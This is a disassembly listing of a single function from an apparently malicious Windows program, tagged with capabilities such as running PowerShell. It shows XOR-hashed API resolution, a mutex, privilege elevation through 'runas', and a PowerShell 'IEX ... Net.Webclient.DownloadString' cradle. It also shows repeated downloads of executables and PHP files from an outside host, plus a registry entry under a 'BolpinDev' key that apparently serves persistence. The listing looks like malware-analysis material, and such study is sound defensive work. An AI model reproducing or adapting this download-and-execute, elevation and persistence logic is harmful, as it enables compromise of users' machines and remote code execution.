Function at 0x404130
Capabilities:
Get common file path
Run powershell expression

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1ee4
call fcn.00415430
mov eax, dword [0x43c070]
xor eax, ebp
mov dword [ebp - 4], eax
push str.explorer.exe
lea ecx, [ebp - 0x1860]
call fcn.0040e070
mov ecx, eax
call fcn.0040e020
push eax
call fcn.00403c10
add esp, 4
mov dword [0x490f04], eax
lea ecx, [ebp - 0x1594]
call fcn.00403190
push str.KP__MKNFDHPDFONHJD34634
lea ecx, [ebp - 0x195c]
call fcn.0040d960
mov ecx, eax
call fcn.0040d8f0
push eax
push 0
push str.CreateJobObjectW
call fcn.004016c0
add esp, 4
xor eax, 0x102e824f
push eax
call fcn.00401770
add esp, 4
call eax
mov dword [ebp - 0x15a8], eax
cmp dword [ebp - 0x15a8], 0
je 0x404276
push str.KP__MKNFDHPDFONHJD34634
lea ecx, [ebp - 0x19c8]
call fcn.0040d290
mov ecx, eax
call fcn.0040d230
push eax
push 0
push 0
push str.CreateMutexW
call fcn.004016c0
add esp, 4
xor eax, 0x102e824f
push eax
call fcn.00401770
add esp, 4
call eax
mov dword [ebp - 0x15bc], eax
push 0x4392f8
call fcn.004016c0
add esp, 4
xor eax, 0x102e824f
push eax
call fcn.00401770
add esp, 4
call eax
cmp eax, 6
je 0x404252
push 0
push 0
push str.RIFFz
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
push 0x439308
call fcn.004016c0
add esp, 4
xor eax, 0x102e824f
push eax
call fcn.00401770
add esp, 4
call eax
mov eax, dword [ebp - 0x15a8]
push eax
push 0x439204
call fcn.004016c0
add esp, 4
xor eax, 0x102e824f
push eax
call fcn.00401770
add esp, 4
call eax
call fcn.00411e00
mov ecx, dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [0x492450], ecx
call fcn.004040a0
call fcn.00403a90
movzx edx, al
test edx, edx
je 0x40431d
push 0x104
lea eax, [ebp - 0x91c]
push eax
push 0
push 0x439314
call fcn.004016c0
add esp, 4
xor eax, 0x102e824f
push eax
call fcn.00401770
add esp, 4
call eax
test eax, eax
je 0x40431d
push 1
push 0
push 0
lea ecx, [ebp - 0x91c]
push ecx
push str.runas
lea ecx, [ebp - 0x160c]
call fcn.0040d0b0
mov ecx, eax
call fcn.004074c0
push eax
push 0
call dword [0x492450]
test eax, eax
jne 0x4042fe
jmp 0x4042cb
push 0
push 0x439308
call fcn.004016c0
add esp, 4
xor eax, 0x102e824f
push eax
call fcn.00401770
add esp, 4
call eax
push 0x104
lea edx, [ebp - 0xd2c]
push edx
push str._SYSTEMROOT_Microsoft.NETFramework_v4.0.30319csc.exe
lea ecx, [ebp - 0x1cc4]
call fcn.0040c1a0
mov ecx, eax
call fcn.0040c130
push eax
push str.ExpandEnvironmentStringsW
call fcn.004016c0
add esp, 4
xor eax, 0x102e824f
push eax
call fcn.00401770
add esp, 4
call eax
push 0x104
lea eax, [ebp - 0xf34]
push eax
push str._SYSTEMROOT_Microsoft.NETFramework_v2.0.50727csc.exe
lea ecx, [ebp - 0x1da8]
call fcn.0040b300
mov ecx, eax
call fcn.0040b2a0
push eax
push str.ExpandEnvironmentStringsW
call fcn.004016c0
add esp, 4
xor eax, 0x102e824f
push eax
call fcn.00401770
add esp, 4
call eax
mov dword [ebp - 0x15ac], 1
push 0x104
lea ecx, [ebp - 0x32c]
push ecx
push str._ComSpec_
lea ecx, [ebp - 0x176c]
call fcn.0040b020
mov ecx, eax
call fcn.00409d50
push eax
push str.ExpandEnvironmentStringsW
call fcn.004016c0
add esp, 4
xor eax, 0x102e824f
push eax
call fcn.00401770
add esp, 4
call eax
push pe_nt_image_headers32
push 0
lea edx, [ebp - 0x124]
push edx
call fcn.004171c0
add esp, 0xc
lea eax, [ebp - 0xf34]
push eax
call fcn.00403bd0
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x40443d
push str.debug2.ps1
lea ecx, [ebp - 0x1798]
call fcn.0040ad70
mov ecx, eax
call fcn.0040ad20
push eax
lea edx, [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x404478
lea eax, [ebp - 0xd2c]
push eax
call fcn.00403bd0
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x404478
push str.debug4.ps1
lea ecx, [ebp - 0x17c8]
call fcn.0040aa70
mov ecx, eax
call fcn.0040aa10
push eax
lea edx, [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.dd_32.exe
lea ecx, [ebp - 0x1740]
call fcn.0040a790
mov ecx, eax
call fcn.00409d50
mov dword [ebp - 0x15b0], eax
cmp dword [ebp - 0x15ac], 0
je 0x404584
push str._system32
lea ecx, [ebp - 0x16e8]
call fcn.0040a520
mov ecx, eax
call fcn.0040a4d0
push eax
lea eax, [ebp - 0x32c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
mov dword [ebp - 0x15a4], eax
cmp dword [ebp - 0x15a4], 0
je 0x404567
mov ecx, dword [ebp - 0x15a4]
lea edx, [ebp - 0x32c]
sub ecx, edx
sar ecx, 1
shl ecx, 1
mov dword [ebp - 0x15b4], ecx
cmp dword [ebp - 0x15b4], 0x208
jae 0x404500
jmp 0x404505
call fcn.004146bc
xor eax, eax
mov ecx, dword [ebp - 0x15b4]
mov word [ebp + ecx - 0x32c], ax
mov edx, dword [ebp - 0x15a4]
add edx, 0x14
push edx
lea eax, [ebp - 0x32c]
push eax
push str._s_sysnative_s
lea ecx, [ebp - 0x18a4]
call fcn.0040a0a0
mov ecx, eax
call fcn.0040a030
push eax
push 0x104
lea ecx, [ebp - 0xb24]
push ecx
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
lea edx, [ebp - 0xb24]
push edx
lea eax, [ebp - 0x32c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.dd_64.exe
lea ecx, [ebp - 0x1714]
call fcn.00409db0
mov ecx, eax
call fcn.00409d50
mov dword [ebp - 0x15b0], eax
mov dword [ebp - 0x1598], 0
mov dword [ebp - 0x159c], 0
lea ecx, [ebp - 0x1598]
push ecx
push str.3f1e09865a26439426f6008e22848f12
lea ecx, [ebp - 0x1670]
call fcn.00409970
mov ecx, eax
call fcn.00409530
push eax
call fcn.00403e80
add esp, 8
lea edx, [ebp - 0x159c]
push edx
push str.3a2d7564baee79182ebc7b65084aabd1
lea ecx, [ebp - 0x164c]
call fcn.00409590
mov ecx, eax
call fcn.00409530
push eax
call fcn.00403e80
add esp, 8
lea eax, [ebp - 0x14]
push eax
push 0x438a30
push 3
mov ecx, dword [ebp - 0x1598]
push ecx
call fcn.00403fb0
add esp, 0x10
lea edx, [ebp - 0x24]
push edx
push 0x438a30
push 2
mov eax, dword [ebp - 0x159c]
push eax
call fcn.00403fb0
add esp, 0x10
mov ecx, dword [ebp - 0x1598]
push ecx
call fcn.004196f7
add esp, 4
mov edx, dword [ebp - 0x159c]
push edx
call fcn.004196f7
add esp, 4
lea eax, [ebp - 0x124]
push eax
push str.https:__wahyurahmat.id_assets_js
lea ecx, [ebp - 0x1b58]
call fcn.00407860
mov ecx, eax
call fcn.00404940
push eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x24]
push edx
push str._c__powe_Shell__command_IEX_New_Object_Net.Webclient_.Dow_SadString__s__s__
lea ecx, [ebp - 0x1ee4]
call fcn.004080e0
mov ecx, eax
call fcn.00408070
push eax
push 0x1f4
lea eax, [ebp - 0x131c]
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x1c
push 0
push 0
lea ecx, [ebp - 0x131c]
push ecx
lea edx, [ebp - 0x32c]
push edx
push str.open
lea ecx, [ebp - 0x15d8]
call fcn.00407710
mov ecx, eax
call fcn.004076a0
push eax
push 0
call dword [0x492450]
push 0x104
lea eax, [ebp - 0x1524]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
test eax, eax
jne 0x4046e9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x4046e9
mov dword [ebp - 0x15ac], 0
mov ecx, dword [ebp - 0x15b0]
push ecx
push str.https:__wahyurahmat.id_assets_js
lea ecx, [ebp - 0x1a4c]
call fcn.00406cc0
mov ecx, eax
call fcn.00406c70
push eax
push str._s__s
lea ecx, [ebp - 0x1628]
call fcn.00407520
mov ecx, eax
call fcn.004074c0
push eax
push 0x1f4
lea edx, [ebp - 0x714]
push edx
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
lea eax, [ebp - 0x714]
push eax
call fcn.00403990
add esp, 4
push str.BolpinDev
lea ecx, [ebp - 0x16c0]
call fcn.00406760
mov ecx, eax
call fcn.00406710
push eax
push str.SOFTWARE
lea ecx, [ebp - 0x1698]
call fcn.00406a30
mov ecx, eax
call fcn.004069d0
push eax
push 0x80000001
call fcn.00403d30
add esp, 0xc
push 1
push str.Auto
lea ecx, [ebp - 0x15f0]
call fcn.004060e0
mov ecx, eax
call fcn.00406080
push eax
push str.SOFTWAREBolpinDev
lea ecx, [ebp - 0x18f0]
call fcn.00406270
mov ecx, eax
call fcn.00406220
push eax
push 0x80000001
call fcn.00403d90
add esp, 0x10
mov byte [ebp - 0x159e], 2
jmp 0x4047d8
mov cl, byte [ebp - 0x159e]
add cl, 1
mov byte [ebp - 0x159e], cl
movzx edx, byte [ebp - 0x159e]
cmp edx, 5
jg 0x404842
movzx eax, byte [ebp - 0x159e]
push eax
push str.https:__wahyurahmat.id_assets_js
lea ecx, [ebp - 0x1ad0]
call fcn.00405550
mov ecx, eax
call fcn.00405500
push eax
push str._s_cc_d.exe
lea ecx, [ebp - 0x17f8]
call fcn.00405da0
mov ecx, eax
call fcn.00405d50
push eax
push 0x1f4
lea ecx, [ebp - 0x714]
push ecx
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
lea edx, [ebp - 0x714]
push edx
call fcn.00403990
add esp, 4
jmp 0x4047c9
mov byte [ebp - 0x159d], 1
jmp 0x404859
mov al, byte [ebp - 0x159d]
add al, 1
mov byte [ebp - 0x159d], al
movzx ecx, byte [ebp - 0x159d]
cmp ecx, 3
jg 0x4048c3
movzx edx, byte [ebp - 0x159d]
push edx
push str.https:__wahyurahmat.id_assets_js
lea ecx, [ebp - 0x1be0]
call fcn.004049a0
mov ecx, eax
call fcn.00404940
push eax
push str._s_cc_d.php
lea ecx, [ebp - 0x182c]
call fcn.00405210
mov ecx, eax
call fcn.004051b0
push eax
push 0x1f4
lea eax, [ebp - 0x714]
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
lea ecx, [ebp - 0x714]
push ecx
call fcn.00403990
add esp, 4
jmp 0x40484b
mov dword [ebp - 0x15c0], 0
call fcn.00411e10
call fcn.00403830
mov dword [ebp - 0x15b8], 0
lea ecx, [ebp - 0x1594]
call fcn.00404910
mov eax, dword [ebp - 0x15b8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00414364
mov esp, ebp
pop ebp
ret 0x10